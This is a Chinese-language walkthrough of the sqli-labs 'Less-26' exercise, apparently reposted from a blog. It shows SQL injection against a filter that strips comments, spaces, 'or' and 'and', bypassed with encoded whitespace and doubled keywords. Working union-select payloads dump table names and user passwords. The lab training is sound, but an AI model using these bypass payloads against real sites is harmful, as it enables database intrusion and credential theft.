Less(26)Trick with comments and space (过滤了注释和空格的注入)

1.查看php文件,可以发现过滤了 or and /* -- # \s //

  

  (1)确认一下:

    ?id=%231  //确认过滤了#

    ?id=or1  //确认过滤了or

    ?id=/*1  //确认过滤了多行注释  

    ?id=--1  //确认过滤了单行注释

    ?id=/1  //确认过滤了斜杠

    ?id=1' ' '  //确认过滤了空格,报错注入才行

    ?id=\  //确认过滤了反斜杠

    

   (2)我们经常绕过空格的就是惰性注释,/**/但在这里过滤了,所以行不通

     将空格,or,and,/*,#,--,等各种符号过滤,对于注释和结尾字符我们此处只能利用构造一个 ‘来闭合后面到’;对于空格,有较多的方法:

      %09 TAB(水平)

      %0a 新建一行

      %0c 新的一页

      %0d return功能

      %0b TAB(垂直)      (php-5.2.17,5,3,29成功)

      %a0 空格         (php-5.2.17成功)

      %27 单引号   

SQL语句:SELECT * FROM users WHERE id='$id' LIMIT 0,1A

    (3)简单测试一下:

        ?id=1'%0b||'1

        

      

2.爆破

  (1)爆库:?id=0'union%a0select%a01,database(),3%26%26'1'='1

    

  (2)爆表:?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1

    

  (3)爆列名:? id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1

     

  (4)爆值:?id=0'%a0union%a0select%a01,group_concat(username,0x7e,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1

     

  

        

猜你喜欢

转载自www.cnblogs.com/meng-yu37/p/12391125.html